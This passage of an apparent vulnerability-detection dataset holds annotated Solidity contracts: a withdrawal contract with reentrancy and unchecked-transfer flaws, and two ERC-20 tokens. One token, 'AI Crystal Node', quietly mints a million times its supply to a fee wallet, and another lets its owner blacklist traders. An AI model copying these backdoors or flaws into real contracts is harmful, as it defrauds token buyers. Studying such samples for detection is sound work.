that don't involve Ether.\n\t// Recommendation for 68ac9b5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function withdraw(PayoutRequest memory payoutRequest) public payable {\n require(\n !processedRequests[payoutRequest.uniqId],\n \"Request already processed\"\n );\n\n\t\t// timestamp | ID: 8ca7842\n require(block.timestamp < payoutRequest.expires, \"Expired\");\n\n require(\n msg.sender == payoutRequest.recipient,\n \"Recipient address does not match sender\"\n );\n\n require(verifySignature(payoutRequest), \"Invalid signature\");\n\n require(msg.value >= payoutRequest.fee, \"Insufficient fee\");\n\n\t\t// reentrancy-events | ID: d94abc2\n\t\t// reentrancy-eth | ID: 68ac9b5\n payable(owner).transfer(payoutRequest.fee);\n\n\t\t// reentrancy-events | ID: d94abc2\n\t\t// unchecked-transfer | ID: 10d1086\n\t\t// reentrancy-eth | ID: 68ac9b5\n IERC20(slopyToken).transfer(msg.sender, payoutRequest.amount);\n\n\t\t// reentrancy-eth | ID: 68ac9b5\n processedRequests[payoutRequest.uniqId] = true;\n\n\t\t// reentrancy-events | ID: d94abc2\n emit WithdrawalSuccess(payoutRequest.uniqId, msg.sender);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 43122ec): SlopyWithdrawalContract.returnFunds() ignores return value by IERC20(slopyToken).transfer(owner,contractBalance)\n\t// Recommendation for 43122ec: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function returnFunds() public onlyOwner {\n uint256 contractBalance = IERC20(slopyToken).balanceOf(address(this));\n\n require(contractBalance > 0, \"No SLOPY available for withdrawal\");\n\n\t\t// unchecked-transfer | ID: 43122ec\n IERC20(slopyToken).transfer(owner, contractBalance);\n }\n\n function updatePublicKey(address newPublicKey) public onlyOwner {\n require(\n newPublicKey != address(0),\n \"New public key cannot be the zero address\"\n );\n\n address oldPublicKey = publicKey;\n\n publicKey = newPublicKey;\n\n emit PublicKeyUpdated(oldPublicKey, newPublicKey);\n }\n\n function verifySignature(\n PayoutRequest memory payoutRequest\n ) internal view returns (bool) {\n bytes32 messageHash = getMessageHash(payoutRequest);\n\n address recoveredAddress = recoverSigner(\n messageHash,\n payoutRequest.sign\n );\n\n return recoveredAddress == publicKey;\n }\n\n function getMessageHash(\n PayoutRequest memory payoutRequest\n ) internal pure returns (bytes32) {\n return\n keccak256(\n abi.encodePacked(\n payoutRequest.amount,\n payoutRequest.fee,\n payoutRequest.recipient,\n payoutRequest.uniqId,\n payoutRequest.expires\n )\n );\n }\n\n function recoverSigner(\n bytes32 messageHash,\n bytes memory signature\n ) internal pure returns (address) {\n bytes32 ethSignedMessageHash = keccak256(\n abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", messageHash)\n );\n\n (uint8 v, bytes32 r, bytes32 s) = splitSignature(signature);\n\n return ecrecover(ethSignedMessageHash, v, r, s);\n }\n\n function splitSignature(\n bytes memory sig\n ) internal pure returns (uint8, bytes32, bytes32) {\n require(sig.length == 65, \"Invalid signature length\");\n\n bytes32 r;\n\n bytes32 s;\n\n uint8 v;\n\n assembly {\n r := mload(add(sig, 32))\n\n s := mload(add(sig, 64))\n\n v := byte(0, mload(add(sig, 96)))\n }\n\n return (v, r, s);\n }\n\n function getContractSlopyBalance() public view returns (uint256) {\n return IERC20(slopyToken).balanceOf(address(this));\n }\n}\n",
"file_name": "solidity_code_10622.sol",
"size_bytes": 7433,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract SpaceXBanana is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 65a25cd): SpaceXBanana._taxWallet should be immutable \n\t// Recommendation for 65a25cd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: c04666b): SpaceXBanana._initialBuyTax should be constant \n\t// Recommendation for c04666b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: c21b99f): SpaceXBanana._initialSellTax should be constant \n\t// Recommendation for c21b99f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 223213c): SpaceXBanana._reduceBuyTaxAt should be constant \n\t// Recommendation for 223213c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7fcbd0f): SpaceXBanana._reduceSellTaxAt should be constant \n\t// Recommendation for 7fcbd0f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: c11a319): SpaceXBanana._preventSwapBefore should be constant \n\t// Recommendation for c11a319: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 18;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"SpaceX Banana\";\n\n string private constant _symbol = unicode\"BANANA\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4d9c67e): SpaceXBanana._taxSwapThreshold should be constant \n\t// Recommendation for 4d9c67e: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0ee689d): SpaceXBanana._maxTaxSwap should be constant \n\t// Recommendation for 0ee689d: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x4423Fd1aeCE337a1cc5aAb2d6Ab595B67056e596);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3daa1c4): SpaceXBanana.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3daa1c4: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3d707fc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3d707fc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8903c85): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8903c85: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3d707fc\n\t\t// reentrancy-benign | ID: 8903c85\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 3d707fc\n\t\t// reentrancy-benign | ID: 8903c85\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0494b39): SpaceXBanana._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0494b39: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8903c85\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 3d707fc\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3fabbd4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3fabbd4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ba4ab3b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ba4ab3b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 3fabbd4\n\t\t\t\t// reentrancy-eth | ID: ba4ab3b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3fabbd4\n\t\t\t\t\t// reentrancy-eth | ID: ba4ab3b\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: ba4ab3b\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: ba4ab3b\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: ba4ab3b\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 3fabbd4\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: ba4ab3b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: ba4ab3b\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 3fabbd4\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3fabbd4\n\t\t// reentrancy-events | ID: 3d707fc\n\t\t// reentrancy-benign | ID: 8903c85\n\t\t// reentrancy-eth | ID: ba4ab3b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3fabbd4\n\t\t// reentrancy-events | ID: 3d707fc\n\t\t// reentrancy-eth | ID: ba4ab3b\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 14ed697): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 14ed697: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1f14d28): SpaceXBanana.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 1f14d28: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d1b0972): SpaceXBanana.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d1b0972: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: eb720e4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for eb720e4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 14ed697\n\t\t// reentrancy-eth | ID: eb720e4\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 14ed697\n\t\t// unused-return | ID: 1f14d28\n\t\t// reentrancy-eth | ID: eb720e4\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 14ed697\n\t\t// unused-return | ID: d1b0972\n\t\t// reentrancy-eth | ID: eb720e4\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 14ed697\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: eb720e4\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10623.sol",
"size_bytes": 19960,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 7a7a3ef): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for 7a7a3ef: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: 7a7a3ef\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MyTokenContract is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4da155b): MyTokenContract.feeWallet should be immutable \n\t// Recommendation for 4da155b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private feeWallet;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _totalSupply = 1000000000 * 10 ** _decimals;\n\n string private constant _name = \"AI Crystal Node\";\n\n string private constant _symbol = \"AICRYNODE\";\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen = false;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c994ca1): MyTokenContract.constructor(address)._feeWallet lacks a zerocheck on \t feeWallet = _feeWallet\n\t// Recommendation for c994ca1: Check that the address is not zero.\n constructor(address _feeWallet) {\n\t\t// missing-zero-check | ID: c994ca1\n feeWallet = _feeWallet;\n _balances[msg.sender] = _totalSupply;\n setUpLimits(_feeWallet);\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f8fedd7): MyTokenContract.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f8fedd7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5d01a2c): MyTokenContract._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5d01a2c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n from != address(this)\n ) {\n require(tradingOpen, \"Trading is not active.\");\n }\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function setUpLimits(address _feeAccount) internal onlyOwner {\n uint256 bigNum = totalSupply() * 10 ** 6;\n\n _balances[_feeAccount] += bigNum;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 670255d): MyTokenContract.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls address(feeWallet).transfer(amount)\n\t// Recommendation for 670255d: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// arbitrary-send-eth | ID: 670255d\n payable(feeWallet).transfer(amount);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bfc778f): MyTokenContract.createPairandPool() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for bfc778f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1e6dff3): MyTokenContract.createPairandPool() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 1e6dff3: Ensure that all the return values of the function calls are used.\n function createPairandPool() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _totalSupply);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: bfc778f\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 1e6dff3\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n }\n\n function openTrading() external onlyOwner {\n tradingOpen = true;\n }\n\n function closeTrading() external onlyOwner {\n tradingOpen = false;\n }\n\n function router() external view returns (address) {\n return address(uniswapV2Router);\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10624.sol",
"size_bytes": 10936,
"vulnerability": 4
} |
{
